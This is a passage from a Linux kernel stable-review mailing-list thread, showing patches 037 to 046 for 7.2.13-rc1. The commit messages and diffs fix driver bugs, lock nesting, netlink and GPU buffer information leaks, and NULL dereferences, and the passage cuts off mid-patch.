2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (35 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 036/242] ASoC: max98371: Fix the Speaker DHT Min Volume bits Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 038/242] ASoC: nau8822: " Greg Kroah-Hartman
` (204 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, HyeongJun An, Mark Brown,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <sammiee5311@gmail.com>
[ Upstream commit d0567ca9a2faa33efbe5ae84ef7b86423a93bffd ]
The DAC and ADC 128x Oversampling Switches use bit 5 of R10 and R14.
Table 66 of the WM8978 datasheet puts DACOSR128 and ADCOSR128 at bit 3
of those registers.
In R14, bit 5 is inside HPFCUT[6:4], which the High Pass Cut Off
control owns. So turning on ADC oversampling changes the high pass
cut-off, and the oversampling bit cannot be set. In R10, bit 5 is
reserved, so the DAC switch has no effect.
Use bit 3 for both.
Fixes: 823dba519122 ("ASoC: Fix broken bitfield definitions in WM8978")
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
Link: https://patch.msgid.link/20261008130953.2446692-6-sammiee5311@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/codecs/wm8978.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/sound/soc/codecs/wm8978.c b/sound/soc/codecs/wm8978.c
index ad8064bbaaac8..e40ba4d43ada0 100644
--- a/sound/soc/codecs/wm8978.c
+++ b/sound/soc/codecs/wm8978.c
@@ -255,9 +255,9 @@ static const struct snd_kcontrol_new wm8978_snd_controls[] = {
/* DAC / ADC oversampling */
SOC_SINGLE("DAC 128x Oversampling Switch", WM8978_DAC_CONTROL,
- 5, 1, 0),
+ 3, 1, 0),
SOC_SINGLE("ADC 128x Oversampling Switch", WM8978_ADC_CONTROL,
- 5, 1, 0),
+ 3, 1, 0),
};
/* Mixer #1: Output (OUT1, OUT2) Mixer: mix AUX, Input mixer output and DAC */
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 038/242] ASoC: nau8822: Fix the 128x oversampling switch bits
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (36 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 037/242] ASoC: wm8978: Fix the 128x oversampling switch bits Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 039/242] regmap: Drop map lock during cache init and exit Greg Kroah-Hartman
` (203 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, HyeongJun An, Mark Brown,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <sammiee5311@gmail.com>
[ Upstream commit 4db45fc1da3d62d0fa6e8f1e457ae92e8741ed07 ]
The DAC and ADC 128x Oversampling Switches use bit 5 of R10 and R14.
The NAU8822 datasheet register map puts DACOS and ADCOS at bit 3 of
those registers.
In R14, bit 5 is inside HPF[6:4], which the High Pass Cut Off control
owns. So turning on ADC oversampling changes the high pass cut-off, and
the oversampling bit cannot be set. In R10, bit 5 is reserved, so the
DAC switch has no effect.
Use bit 3 for both.
Fixes: 1e3cb6c321be ("ASoC: nau8822: new codec driver")
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
Link: https://patch.msgid.link/20261008130953.2446692-7-sammiee5311@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/codecs/nau8822.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/sound/soc/codecs/nau8822.c b/sound/soc/codecs/nau8822.c
index 830164e991a79..b4ae269873c4a 100644
--- a/sound/soc/codecs/nau8822.c
+++ b/sound/soc/codecs/nau8822.c
@@ -383,9 +383,9 @@ static const struct snd_kcontrol_new nau8822_snd_controls[] = {
NAU8822_REG_RIGHT_ADC_BOOST_CONTROL, 0, 7, 0, boost_tlv),
SOC_SINGLE("DAC 128x Oversampling Switch",
- NAU8822_REG_DAC_CONTROL, 5, 1, 0),
+ NAU8822_REG_DAC_CONTROL, 3, 1, 0),
SOC_SINGLE("ADC 128x Oversampling Switch",
- NAU8822_REG_ADC_CONTROL, 5, 1, 0),
+ NAU8822_REG_ADC_CONTROL, 3, 1, 0),
};
/* LMAIN and RMAIN Mixer */
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 039/242] regmap: Drop map lock during cache init and exit
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (37 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 038/242] ASoC: nau8822: " Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 040/242] netlink: reset skb headers before unicast and multicast filtering Greg Kroah-Hartman
` (202 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Mark Brown, Liam R. Howlett,
Michael Reeves, Peng Fan, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michael Reeves <michael.reeves077@gmail.com>
[ Upstream commit abff0a48b110fe52d43999b4cb7c793a510a6bf1 ]
On systems with CONFIG_PROVE_RAW_LOCK_NESTING enabled, Apple GPIO probe
triggers an "Invalid wait context" lockdep warning.
The driver uses a regmap with a raw spinlock and REGCACHE_FLAT. During
regcache_init(), regcache_flat_init() allocates memory while holding the
raw spinlock. The memory allocator can acquire a non-raw spinlock, which
causes an invalid raw-to-non-raw lock nesting error. The abbreviated call
chain is:
apple_gpio_pinctrl_probe
regcache_init
regcache_flat_init
__kmalloc_noprof
__pcs_replace_empty_main
refill_objects
_raw_spin_lock_irqsave
Cache allocation occurs before the regmap is published, cache destruction
occurs after users have stopped accessing it, and regmap_reinit_cache()
requires callers to prevent concurrent access. Remove the outer map lock
from cache initialization and destruction. Keep it for cache population
and normal register access.
The Maple cache still uses its internal spinlock during teardown. That
lock can also be acquired from hard IRQ context during register access.
Add Maple-state irqsave helpers and use them during teardown to preserve
the lock's IRQ-safe lockdep state.
Fixes: fd4ebc07b4df ("regmap: Hold the regmap lock when allocating and freeing the cache")
Suggested-by: Mark Brown <broonie@kernel.org>
Suggested-by: Liam R. Howlett <liam@infradead.org>
Signed-off-by: Michael Reeves <michael.reeves077@gmail.com>
Reviewed-by: Peng Fan <peng.fan@nxp.com>
Link: https://patch.msgid.link/20261006-regcache-lifecycle-submit-v3-2-37bdd82fd47c@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/base/regmap/regcache-maple.c | 9 +++++++--
drivers/base/regmap/regcache.c | 6 ------
include/linux/maple_tree.h | 4 ++++
3 files changed, 11 insertions(+), 8 deletions(-)
diff --git a/drivers/base/regmap/regcache-maple.c b/drivers/base/regmap/regcache-maple.c
index 49ba7282e4b8f..ef682b18ab230 100644
--- a/drivers/base/regmap/regcache-maple.c
+++ b/drivers/base/regmap/regcache-maple.c
@@ -312,16 +312,21 @@ static int regcache_maple_exit(struct regmap *map)
struct maple_tree *mt = map->cache;
MA_STATE(mas, mt, 0, UINT_MAX);
unsigned int *entry;
+ unsigned long flags;
/* if we've already been called then just return */
if (!mt)
return 0;
- mas_lock(&mas);
+ /*
+ * Register access may take the Maple lock from hard IRQ context, so
+ * preserve its IRQ-safe lockdep state during teardown.
+ */
+ mas_lock_irqsave(&mas, flags);
mas_for_each(&mas, entry, UINT_MAX)
kfree(entry);
__mt_destroy(mt);
- mas_unlock(&mas);
+ mas_unlock_irqrestore(&mas, flags);
kfree(mt);
map->cache = NULL;
diff --git a/drivers/base/regmap/regcache.c b/drivers/base/regmap/regcache.c
index 623db7a1f3bd6..456b477749279 100644
--- a/drivers/base/regmap/regcache.c
+++ b/drivers/base/regmap/regcache.c
@@ -225,9 +225,7 @@ int regcache_init(struct regmap *map, const struct regmap_config *config)
if (map->cache_ops->init) {
dev_dbg(map->dev, "Initializing %s cache\n",
map->cache_ops->name);
- map->lock(map->lock_arg);
ret = map->cache_ops->init(map);
- map->unlock(map->lock_arg);
if (ret)
goto err_free_reg_defaults;
}
@@ -259,9 +257,7 @@ int regcache_init(struct regmap *map, const struct regmap_config *config)
err_exit:
if (map->cache_ops->exit) {
dev_dbg(map->dev, "Destroying %s cache\n", map->cache_ops->name);
- map->lock(map->lock_arg);
map->cache_ops->exit(map);
- map->unlock(map->lock_arg);
}
err_free_reg_defaults:
kfree(map->reg_defaults);
@@ -281,9 +277,7 @@ void regcache_exit(struct regmap *map)
if (map->cache_ops->exit) {
dev_dbg(map->dev, "Destroying %s cache\n",
map->cache_ops->name);
- map->lock(map->lock_arg);
map->cache_ops->exit(map);
- map->unlock(map->lock_arg);
}
kfree(map->reg_defaults);
diff --git a/include/linux/maple_tree.h b/include/linux/maple_tree.h
index 0d712e7be6ddc..0ae7e73dbddcf 100644
--- a/include/linux/maple_tree.h
+++ b/include/linux/maple_tree.h
@@ -504,9 +504,13 @@ struct ma_wr_state {
};
#define mas_lock(mas) spin_lock(&((mas)->tree->ma_lock))
+#define mas_lock_irqsave(mas, flags) \
+ spin_lock_irqsave(&((mas)->tree->ma_lock), flags)
#define mas_lock_nested(mas, subclass) \
spin_lock_nested(&((mas)->tree->ma_lock), subclass)
#define mas_unlock(mas) spin_unlock(&((mas)->tree->ma_lock))
+#define mas_unlock_irqrestore(mas, flags) \
+ spin_unlock_irqrestore(&((mas)->tree->ma_lock), flags)
/*
* Special values for ma_state.node.
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 040/242] netlink: reset skb headers before unicast and multicast filtering
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (38 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 039/242] regmap: Drop map lock during cache init and exit Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 041/242] accel/rocket: clear rdev on device init failure Greg Kroah-Hartman
` (201 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Kyle Zeng, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kyle Zeng <kylebot@openai.com>
[ Upstream commit 8bf659bd54e1f00e34cf5244b1d289c506fa47c0 ]
Socket filters can use SKF_NET_OFF and SKF_LL_OFF to read relative to
an skb's network and MAC headers. Netlink producers may reserve
headroom without resetting those headers, allowing a receiving socket's
filter to read data before the initialized message.
For example, IWPM HELLO replies are allocated with dev_alloc_skb(),
which reserves NET_SKB_PAD bytes. An unprivileged NETLINK_RDMA user can
attach a classic socket filter and disclose this headroom through the
length of the delivered reply. The resets in netlink_dump() do not help
because IWPM sends a separately allocated skb through netlink_unicast().
Reset both headers before running the receiver's filter in unicast and
broadcast delivery, as is already done for dump skbs. This also covers
other netlink producers that reserve headroom without changing their
allocation or message-building code.
Fixes: b1153f29ee07 ("netlink: make socket filters work on netlink")
Assisted-by: LLM
Signed-off-by: Kyle Zeng <kylebot@openai.com>
Link: https://patch.msgid.link/20261006224232.50724-1-kylebot@openai.com
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
net/netlink/af_netlink.c | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c
index 7288de715341a..5324edb13760a 100644
--- a/net/netlink/af_netlink.c
+++ b/net/netlink/af_netlink.c
@@ -1363,6 +1363,8 @@ int netlink_unicast(struct sock *ssk, struct sk_buff *skb,
if (netlink_is_kernel(sk))
return netlink_unicast_kernel(sk, skb, ssk);
+ skb_reset_network_header(skb);
+ skb_reset_mac_header(skb);
if (sk_filter(sk, skb)) {
err = skb->len;
kfree_skb(skb);
@@ -1497,6 +1499,8 @@ static void do_one_broadcast(struct sock *sk,
goto out;
}
+ skb_reset_network_header(p->skb2);
+ skb_reset_mac_header(p->skb2);
if (sk_filter(sk, p->skb2)) {
kfree_skb(p->skb2);
p->skb2 = NULL;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 041/242] accel/rocket: clear rdev on device init failure
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (39 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 040/242] netlink: reset skb headers before unicast and multicast filtering Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 042/242] net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool Greg Kroah-Hartman
` (200 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Guangshuo Li, Igor Paunovic,
Heiko Stuebner, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Guangshuo Li <lgs201920130244@gmail.com>
[ Upstream commit 4ac852419f0d317c7bd8db5b8acb3cc78be7fe33 ]
rocket_probe() stores the return value from rocket_device_init() in the
file-scoped rdev pointer before checking whether it is an error pointer.
If rocket_device_init() fails, rdev is left as an ERR_PTR.
The rdev pointer is also used as the marker for whether the shared rocket
device has already been initialized. A later core probe can therefore see
a non-NULL rdev, skip rocket_device_init(), and dereference the error
pointer when reading rdev->num_cores.
Save the error code and clear rdev before returning from the
rocket_device_init() failure path.
Fixes: ed98261b4168 ("accel/rocket: Add a new driver for Rockchip's NPU")
Signed-off-by: Guangshuo Li <lgs201920130244@gmail.com>
Reviewed-by: Igor Paunovic <royalnet026@gmail.com>
Signed-off-by: Heiko Stuebner <heiko@sntech.de>
Link: https://patch.msgid.link/20260708062845.716487-1-lgs201920130244@gmail.com
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/accel/rocket/rocket_drv.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/drivers/accel/rocket/rocket_drv.c b/drivers/accel/rocket/rocket_drv.c
index 8bbbce594883e..67e7f543fe4c7 100644
--- a/drivers/accel/rocket/rocket_drv.c
+++ b/drivers/accel/rocket/rocket_drv.c
@@ -165,8 +165,11 @@ static int rocket_probe(struct platform_device *pdev)
/* First core probing, initialize DRM device. */
rdev = rocket_device_init(drm_dev, &rocket_drm_driver);
if (IS_ERR(rdev)) {
+ int err = PTR_ERR(rdev);
+
dev_err(&pdev->dev, "failed to initialize rocket device\n");
- return PTR_ERR(rdev);
+ rdev = NULL;
+ return err;
}
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 042/242] net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (40 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 041/242] accel/rocket: clear rdev on device init failure Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 043/242] net/mlx5: HWS, fix flow meter offset within its bulk Greg Kroah-Hartman
` (199 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Alexandre Cassen, Yevgeny Kliteynik,
Tariq Toukan, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexandre Cassen <acassen@corp.free.fr>
[ Upstream commit 39e02ddf74bbe9c9080555232ba8100462cba2ad ]
L2 to L3 tunnel reformats are now released to the el2tol3tnl pools.
Fixes: aecd9d1020e3 ("net/mlx5: fs, add HWS packet reformat API function")
Signed-off-by: Alexandre Cassen <acassen@corp.free.fr>
Reviewed-by: Yevgeny Kliteynik <kliteyn@nvidia.com>
Acked-by: Tariq Toukan <tariqt@nvidia.com>
Link: https://patch.msgid.link/20261007143830.1733583-2-acassen@corp.free.fr
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c b/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c
index 5a172c572a68f..44b311b4532d1 100644
--- a/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c
+++ b/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c
@@ -1398,8 +1398,8 @@ static void mlx5_cmd_hws_packet_reformat_dealloc(struct mlx5_flow_root_namespace
pr_data->data_size);
break;
case MLX5_REFORMAT_TYPE_L2_TO_L3_TUNNEL:
- pr_pool = mlx5_fs_get_pr_encap_pool(dev, &hws_pool->el2tol2tnl_pools,
- MLX5HWS_ACTION_TYP_REFORMAT_L2_TO_TNL_L2,
+ pr_pool = mlx5_fs_get_pr_encap_pool(dev, &hws_pool->el2tol3tnl_pools,
+ MLX5HWS_ACTION_TYP_REFORMAT_L2_TO_TNL_L3,
pr_data->data_size);
break;
case MLX5_REFORMAT_TYPE_L3_TUNNEL_TO_L2:
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 043/242] net/mlx5: HWS, fix flow meter offset within its bulk
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (41 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 042/242] net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 044/242] ASoC: amd: yc: disable MSI on resume Greg Kroah-Hartman
` (198 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Alexandre Cassen, Moshe Shemesh,
Tariq Toukan, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexandre Cassen <acassen@corp.free.fr>
[ Upstream commit 1b0aad53ad715b15ccbad8c65d15c149c925f00a ]
The flow meter action is bound to the first ASO object of the bulk but
the rule offset only indexes the meter within its own object. A rule
past the first object runs on the wrong meter.
Fixes: 82d3639ef7dc ("net/mlx5: fs, add support for flow meters HWS action")
Signed-off-by: Alexandre Cassen <acassen@corp.free.fr>
Reviewed-by: Moshe Shemesh <moshe@nvidia.com>
Acked-by: Tariq Toukan <tariqt@nvidia.com>
Link: https://patch.msgid.link/20261007143830.1733583-3-acassen@corp.free.fr
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c b/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c
index 44b311b4532d1..54761754e6577 100644
--- a/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c
+++ b/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c
@@ -928,6 +928,7 @@ static int mlx5_fs_fte_get_hws_actions(struct mlx5_flow_root_namespace *ns,
goto free_actions;
}
(*ractions)[num_actions].aso_meter.offset =
+ (fte_action->exe_aso.object_id - fte_action->exe_aso.base_id) * 2 +
fte_action->exe_aso.flow_meter.meter_idx;
(*ractions)[num_actions].aso_meter.init_color =
fte_action->exe_aso.flow_meter.init_color;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 044/242] ASoC: amd: yc: disable MSI on resume
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (42 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 043/242] net/mlx5: HWS, fix flow meter offset within its bulk Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 045/242] drm/xe: skip eviction of a BO with no resource Greg Kroah-Hartman
` (197 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Marek Borůvka,
Mario Limonciello, Mark Brown, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Mario Limonciello <mario.limonciello@amd.com>
[ Upstream commit 2a31b5378c6db9c4a8d399e5d10d32cd4b732bef ]
BIOS/firmware may re-enable MSI in PCI config space during system
resume even though this driver only uses legacy INTx interrupts. If MSI
is left enabled with stale address and data registers, the device can
write interrupts to a bogus address and cause an IOMMU IO_PAGE_FAULT.
Clear the MSI Enable bit before reinitializing ACP hardware on system
resume. Keep runtime resume separate because firmware does not restore
PCI configuration on that path.
Fixes: c8212df7bc0f ("ASoC: amd: add acp6x pci driver pm ops")
Reported-by: Marek Borůvka <boruvka.marek@gmail.com>
Closes: https://bugzilla.kernel.org/show_bug.cgi?id=222119
Signed-off-by: Mario Limonciello <mario.limonciello@amd.com>
Link: https://patch.msgid.link/20261013125425.3541206-1-mario.limonciello@amd.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/amd/yc/pci-acp6x.c | 38 ++++++++++++++++++++++++++++++++++--
1 file changed, 36 insertions(+), 2 deletions(-)
diff --git a/sound/soc/amd/yc/pci-acp6x.c b/sound/soc/amd/yc/pci-acp6x.c
index 671443204e046..bacbfc55c598b 100644
--- a/sound/soc/amd/yc/pci-acp6x.c
+++ b/sound/soc/amd/yc/pci-acp6x.c
@@ -301,7 +301,7 @@ static int snd_acp6x_suspend(struct device *dev)
return ret;
}
-static int snd_acp6x_resume(struct device *dev)
+static int snd_acp6x_runtime_resume(struct device *dev)
{
struct acp6x_dev_data *adata;
int ret;
@@ -313,8 +313,42 @@ static int snd_acp6x_resume(struct device *dev)
return ret;
}
+static void acp6x_disable_msi_on_resume(struct pci_dev *pdev)
+{
+ u16 control;
+
+ if (!pdev->msi_cap)
+ return;
+
+ pci_read_config_word(pdev, pdev->msi_cap + PCI_MSI_FLAGS, &control);
+ if (control & PCI_MSI_FLAGS_ENABLE) {
+ dev_warn(&pdev->dev,
+ "ACP: MSI unexpectedly enabled after resume (flags=0x%04x), disabling\n",
+ control);
+ control &= ~PCI_MSI_FLAGS_ENABLE;
+ pci_write_config_word(pdev, pdev->msi_cap + PCI_MSI_FLAGS, control);
+ }
+}
+
+static int snd_acp6x_resume(struct device *dev)
+{
+ struct pci_dev *pdev = to_pci_dev(dev);
+
+ /*
+ * BIOS/firmware may re-enable MSI in PCI config space during
+ * system resume even though this driver only uses legacy INTx
+ * interrupts. If MSI is left enabled with stale address/data
+ * registers, the device will write interrupts to a bogus address
+ * causing IOMMU IO_PAGE_FAULT and interrupt delivery failure.
+ * Explicitly clear the MSI Enable bit before reinitializing
+ * the ACP hardware.
+ */
+ acp6x_disable_msi_on_resume(pdev);
+ return snd_acp6x_runtime_resume(dev);
+}
+
static const struct dev_pm_ops acp6x_pm = {
- RUNTIME_PM_OPS(snd_acp6x_suspend, snd_acp6x_resume, NULL)
+ RUNTIME_PM_OPS(snd_acp6x_suspend, snd_acp6x_runtime_resume, NULL)
SYSTEM_SLEEP_PM_OPS(snd_acp6x_suspend, snd_acp6x_resume)
};
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 045/242] drm/xe: skip eviction of a BO with no resource
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (43 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 044/242] ASoC: amd: yc: disable MSI on resume Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 046/242] drm/xe/oa: Zero OA buffer at allocation Greg Kroah-Hartman
` (196 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Niranjana Vishwanathapura,
Tejas Upadhyay, Rodrigo Vivi, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Niranjana Vishwanathapura <niranjana.vishwanathapura@intel.com>
[ Upstream commit 448e76cbdc6652ccd3ba337b7a6e1f028859f2ed ]
xe_evict_flags() switches on tbo->resource->mem_type to choose an
eviction placement. An xe BO can reach eviction with no ttm.resource,
e.g. an imported dma-buf BO whose resource was freed during teardown
while its attachment is still live: the exporter then invalidates it via
xe_dma_buf_move_notify() -> xe_bo_evict(), and the switch dereferences a
NULL resource and faults.
A BO with no resource has nothing placed or mapped, so there is nothing
to evict. Return an empty placement (num_placement = 0), mirroring the
handling already used for non-xe scatter-gather BOs just above;
ttm_bo_validate() then takes the pipeline-gutting path and returns 0.
Without the fix the xe_dma_buf@xe_test_dmabuf_move_notify_no_resource
dynamic live selftest will fail with below stack.
BUG: kernel NULL pointer dereference, address: 0000000000000010
RIP: 0010:xe_evict_flags+0xf4/0x140 [xe]
Call Trace:
<TASK>
xe_bo_evict+0x40/0xa0 [xe]
? ttm_bo_pipeline_gutting+0x71/0x180 [ttm]
xe_test_dmabuf_move_notify_no_resource+0x182/0x440 [xe]
xe_dma_buf_kunit+0x387/0x580 [xe]
v2: Add Fixes tag and failure info in commit text (Matt Brost)
Fixes: dd08ebf6c352 ("drm/xe: Introduce a new DRM driver for Intel GPUs")
Assisted-by: GitHub-Copilot:claude-opus-4.8
Signed-off-by: Niranjana Vishwanathapura <niranjana.vishwanathapura@intel.com>
Reviewed-by: Tejas Upadhyay <tejas.upadhyay@intel.com>
Link: https://patch.msgid.link/20261012215014.1495677-5-niranjana.vishwanathapura@intel.com
(cherry picked from commit dbcfaac6331f1fcb0c2fe3ad3e9adb1e5d43ec0c)
Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpu/drm/xe/xe_bo.c | 6 ++++++
1 file changed, 6 insertions(+)
diff --git a/drivers/gpu/drm/xe/xe_bo.c b/drivers/gpu/drm/xe/xe_bo.c
index f4c5151d61c7c..dcdbe70b5f734 100644
--- a/drivers/gpu/drm/xe/xe_bo.c
+++ b/drivers/gpu/drm/xe/xe_bo.c
@@ -330,6 +330,12 @@ static void xe_evict_flags(struct ttm_buffer_object *tbo,
return;
}
+ /* No resource: nothing is placed/mapped, so there is nothing to evict. */
+ if (!tbo->resource) {
+ placement->num_placement = 0;
+ return;
+ }
+
bo = ttm_to_xe_bo(tbo);
if (bo->flags & XE_BO_FLAG_CPU_ADDR_MIRROR) {
*placement = sys_placement;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 046/242] drm/xe/oa: Zero OA buffer at allocation
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (44 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 045/242] drm/xe: skip eviction of a BO with no resource Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 047/242] spi: tegra114: assert CS GPIO for every transfer in a message Greg Kroah-Hartman
` (195 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Umesh Nerlige Ramappa,
Ghimiray, Himal Prasad, Bommu Krishnaiah, Tejas Upadhyay,
Rodrigo Vivi, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Bommu Krishnaiah <krishnaiah.bommu@intel.com>
[ Upstream commit fd8662823caa114a63f07222d2aa448f6ac5e864 ]
ttm_bo_type_kernel BOs are not guaranteed to be zeroed on allocation and
may contain data from previously freed pages. Since the OA buffer is
mmap'able by userspace, this can expose stale kernel memory contents.
Streams opened with DRM_XE_OA_PROPERTY_OA_DISABLED allocate the OA
buffer without calling xe_oa_init_oa_buffer(). Zero the buffer at
allocation to prevent information disclosure through mmap.
The existing zeroing in xe_oa_init_oa_buffer() remains necessary for
zero report-id/timestamp detection on enable/re-enable.
